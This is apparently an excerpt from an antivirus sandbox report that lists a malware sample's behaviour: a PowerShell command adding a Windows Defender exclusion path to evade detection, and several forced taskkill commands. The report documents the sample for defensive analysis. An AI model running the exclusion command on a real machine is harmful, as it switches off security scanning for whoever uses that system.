Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<Full path to file>'
Executes the following
- '<SYSTEM32>\taskkill.exe' /F /PID 3924
- '<SYSTEM32>\taskkill.exe' /F /PID 4028
- '<SYSTEM32>\taskkill.exe' /F /PID 4060
- '<SYSTEM32>\taskkill.exe' /F /PID 4056
